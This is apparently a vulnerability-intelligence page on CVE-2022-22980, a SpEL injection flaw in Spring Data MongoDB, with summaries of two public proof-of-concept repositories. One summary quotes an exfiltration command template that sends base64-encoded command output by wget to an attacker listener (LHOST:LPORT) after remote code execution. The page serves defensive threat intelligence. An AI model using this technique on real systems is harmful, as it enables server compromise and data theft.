CVE-2022-22980 is an expression injection vulnerability in Spring Data MongoDB. The issue affects applications that use @Query or @Aggregation-annotated repository query methods with Spring Expression Language (SpEL) expressions containing query parameter placeholders for value binding. When untrusted input is incorporated into those expressions without proper sanitization, an attacker can inject crafted SpEL content that alters expression evaluation. This can lead to unauthorized manipulation of MongoDB queries and, depending on the application’s expression usage and evaluation context, broader application compromise.
Mallory correlates every CVE against your assets, your vendors, and active adversary campaigns. Know which vulnerabilities matter for you, not just which ones are loud.
What it means. What to do now. Patch path, mitigations, and the assume-compromise checklist.
What an attacker gets, and what they’ve been doing with it.
If you can’t patch tonight, do this now.
Patch, then assume compromise.
2 valid exploits after Mallory filtered fakes, detection scripts, and README-only repos (2 hidden).
Repository contains a single Python exploit script (`spel_shell.py`) and documentation (`README.md`) for exploiting CVE-2022-22980 (SpEL injection leading to RCE) against a Spring Data endpoint. Structure & purpose: - `README.md`: French-language walkthrough describing the vulnerable `/search` endpoint with POST parameter `tracking_id`, the exploitation flow (SpEL -> `Runtime.exec()` -> base64 encode -> exfiltrate via HTTP GET), prerequisites (curl locally; wget on target; reachable listener), and troubleshooting. - `spel_shell.py`: Operational PoC that (1) starts a one-shot HTTP server on `0.0.0.0:LPORT` to capture a single GET request, (2) sends a POST request with a crafted `tracking_id` SpEL payload to `TARGET` using local `curl`, and (3) decodes the received base64 data and prints command output. Exploit capabilities: - Remote command execution by injecting SpEL that calls `java.lang.Runtime.getRuntime().exec()`. - Output capture via out-of-band exfiltration: the target runs `bash -c '<cmd> | base64 -w0 | xargs ... wget http://LHOST:LPORT/<data>'`. - No interactive shell; it is a command runner with single-response output retrieval per run. Notable implementation details: - Uses Python `http.server` with a custom handler to store the URL path as exfiltrated data. - Uses `subprocess.run(["curl", ...])` rather than a Python HTTP client. - Hardcoded defaults for TARGET/LHOST/LPORT indicate intended use in lab/CTF environments (e.g., HackTheBox).
This repository is a proof-of-concept (POC) exploit for CVE-2022-22980, a SpEL injection vulnerability in Spring Data MongoDB. The project is a simple Spring Boot application configured to run on port 6666 and connect to a MongoDB instance on localhost:27017. The main vulnerability is in the /v1/user/get HTTP GET endpoint, which takes a 'username' parameter and passes it directly to a repository query using SpEL. By crafting a malicious 'username' parameter, an attacker can execute arbitrary system commands on the server. The README provides an example payload that opens the Calculator app on macOS. The repository includes all necessary files to build and run the vulnerable application, including Java source files, a Maven build file (pom.xml), and application configuration. This POC demonstrates the exploit but does not include weaponized or automated exploitation features.
Products and vendors Mallory has correlated with this vulnerability. Open in Mallory to drill down to specific CPE configurations and version ranges.
Vendor-confirmed product mapping. Mallory continuously reconciles this list against your asset inventory.
1 sources tracked across advisories and community write-ups. News coverage will land here when it surfaces.
No news coverage yet. Advisories and community discussion only.
Query your assets running an affected version, and investigate the blast radius.
Every observed campaign linking this CVE to a named adversary.
Malware families riding this exploit, with evidence and IOCs.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Cross-references every affected SKU, including bundled OEM variants.
Community discussion across Reddit, Mastodon, and other social sources.